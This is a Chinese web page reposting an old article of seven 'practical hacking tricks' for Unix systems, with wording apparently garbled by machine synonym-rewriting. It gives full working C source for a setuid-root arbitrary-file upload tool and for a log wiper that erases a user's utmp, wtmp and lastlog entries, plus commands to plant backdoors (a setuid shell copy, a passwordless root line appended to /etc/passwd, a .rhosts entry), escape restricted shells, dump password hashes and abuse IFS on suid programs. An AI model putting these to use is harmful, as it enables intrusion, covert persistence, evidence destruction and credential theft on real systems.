设为主页 | 加入收藏 | 繁體中文

黑客实用技巧7则

  /####################恭敬作者权益,转载时请保留此信息##########################/
  /*黑客实用本领7则*/
  /*作者:无用君*/
  /*E-MAIL: admin@root.com.cn*/
  /*接待光临网络技术http://sadan.yeah.net*/
  /*接待光临网络安全技术交流场合“网络论坛”http://www.s8s8.net*/
  /#############################################################################/
  1 、UPLOAD
  侵入乐成后,拿到root权限了,这个东东可以把他的办事器的访问权限改了,让任何人都可以上传文件 !
  root 状 态 下, 运 行 Install 后,
  upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下。
  # chmod 755 install
  #./install
  $ more install
  #! /bin/csh -f
  cc upload.c
  cp a.out upload
  chown root upload
  chmod 755 upload
  chmod u+s upload
  $ more upload.c
  #include
  main()
  {
  char filename[48];
  printf( "This program will upload up.txt ASCII file to specified file\n" );
  printf( "XXX Copyright Reserved\n" );
  printf( "Where to upload (include path and filename)? " );
  gets( filename );
  upload( filename );
  }
  int upload( filename )
  char *filename;
  {
  FILE *fp,*outp;
  char c;
  fp=fopen( "up.txt","r" );
  outp=fopen( filename,"w" );
  if( fp== NULL ) {
  printf( "file not exist." );
  return 0;
  }
  for( ;; ) {
  c= fgetc( fp );
  if feof( fp ) break;
  printf( "%c",c );
  fputc( c, outp );
  }
  fclose( fp );
  fclose( outp );
  return 1;
  }
  2、破坏现场
  进入系统后,出来以前怎样破坏现场?抹掉自己的脚印?
  编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.
  请使用专门的编辑器
  例子:
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #define WTMP_NAME "/usr/adm/wtmp"
  #define UTMP_NAME "/etc/utmp"
  #define LASTLOG_NAME "/usr/adm/lastlog"
  int f;
  void kill_utmp(who)
  char *who;
  {
  struct utmp utmp_ent;
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  write (f, &utmp_ent, sizeof (utmp_ent));
  }
  close(f);
  }
  }
  void kill_wtmp(who)
  char *who;
  {
  struct utmp utmp_ent;
  long pos;
  pos = 1L;
  if ((f=open(WTMP_NAME,O_RDWR))>=0) {
  while(pos != -1L) {
  lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
  if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
  pos = -1L;
  } else {
  if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  bzero((char *)&utmp_ent,sizeof(struct utmp ));
  lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
  write (f, &utmp_ent, sizeof (utmp_ent));
  pos = -1L;
  } else pos += 1L;
  }
  }
  close(f);
  }
  }
  void kill_lastlog(who)
  char *who;
  {
  struct passwd *pwd;
  struct lastlog newll;
  if ((pwd=getpwnam(who))!=NULL) {
  if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
  lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  bzero((char *)&newll,sizeof( newll ));
  write(f, (char *)&newll, sizeof( newll ));
  close(f);
  }
  } else printf("%s: ?\n",who);
  }
  main(argc,argv)
  int argc;
  char *argv[];
  {
  if (argc==2) {
  kill_lastlog(argv[1]);
  kill_wtmp(argv[1]);
  kill_utmp(argv[1]);
  printf("Zap2!\n");
  } else
  printf("Error.\n");
  }
  3、突破SHELL
  许多打击系统的方法都需要打击者起首有一个命令行式的Shell,如 /bin/csh 。但有些系统提供给用户的却是菜单式的定制Shell,如 pink 。以是要是你想打击这个系统的话,起首必需要突破这个定制shell。
  我们可以利用 vi (UNIX中标准的编辑器) 的一些命令来到达这个目的。具体历程如下:
  (1).在定制Shell中选择编辑文件,这时系统启动 vi。
  (2).在 vi 中,输出以下命令序列:(细致:输出的命令包括最前面的 ':' )
  :set shell=/bin/csh
  :shell
  3.这时,就像在DOS步伐的File菜单中选择Dos Shell菜单项一样,系统启动一个Shell,而这个Shell方才被我们设定成 /bin/csh,因此我们就得到了一个命令行式的Unix Shell。
  4、后门
  进入一个系统以后顺手留下一个后门确实是很好的习惯:) 这里介绍几种简单的后门设置方法:
  (1). setuid
  #cp /bin/sh /tmp/.backdoor
  #chmod u+s /tmp/.backdoor
  加上 suid 位到shell 上,最为简单方便.
  (2). echo "wyj::0:0::/:/bin/csh" >> /etc/passwd
  即给系统增加一个 id 为 0(root)的帐号,无口令.
  (3). echo "+ wyj">>/.rhosts
  即当地的名为wyj的用户可以直接 rlogin target 无须口令此时的wyj就相当于口令,不晓得的人是不能进去的.条件是目的的port 512or513or514 opening.
  5、用telnet上传文件
  要是ftp被关了,sendmail也不行,怎样把编译好的文件上传到主机呢?
  方法很简单:
  1.先把要上传的文件用uuedcode举行编码,文件会变成大概上面的样子:
  begin 644 file.bat
  M.C!J95@T92TP,#503U!=:%=E6#5D9%!>,2Q&1D9&1C$L1D9&,2PT4%]J
  M95@T85!9+7@M04%28#!@*CTP,'500D])04%!049+04]"4$E$34-"04Q%04I-
  M3D-"2D%,24%!14U-3D-"1D5'24=&0T%%3D="1T1(0T=02$='2DA#2$9(1$-!
  M1TI(1$-!1T1'4$=.1TI'3T=(0T%#3T-/0T]#3T-/0T]!3D%+0T5!07%Q<7$@
  M"D!%0TA/($]&1B`*0T]062`E,"Y"050@+T(@0SI<0D%45DE2+D-/32`O0B`O
  E62`*0SI<0D%45DE2+D-/32`*1$5,($,Z7$)!5%9)4BY#3TT@"@``
  `
  end
  sum -r/size 17903/262
  全部都是可见的ASCII字符了
  2.用TELNET毗连到主机后输出
  $ cat >a
  然后用WINODWS的拷贝/粘贴,把文件粘贴到telnet窗口
  按^d
  在以后目次下产生文件a
  3.uudecode a
  文件回复复兴,然后chmod即可
  6、破解Shadow
  许多系统下写一个小步伐不停的调用getpwent() 函数便能得到没有shadow过的暗码档
  #include
  main()
  {
  struct passwd *p;
  while(p=getpwent())
  printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
  p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
  }
  7、从suid脚本或步伐中得到root
  (1).要是该步伐中有包含一个雷同上面的数据:
  system("/bin/date")
  这时你可以把自己的IFS改为'/':
  IFS='/';export IFS # Bourne Shell
  setenv IFS '/' # C Shell
  export IFS='/' # Korn Shell
  这时你只要有一个你自己的软件途径调用了"bin",suid步伐就会运行你的步伐,并取代/bin/date
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: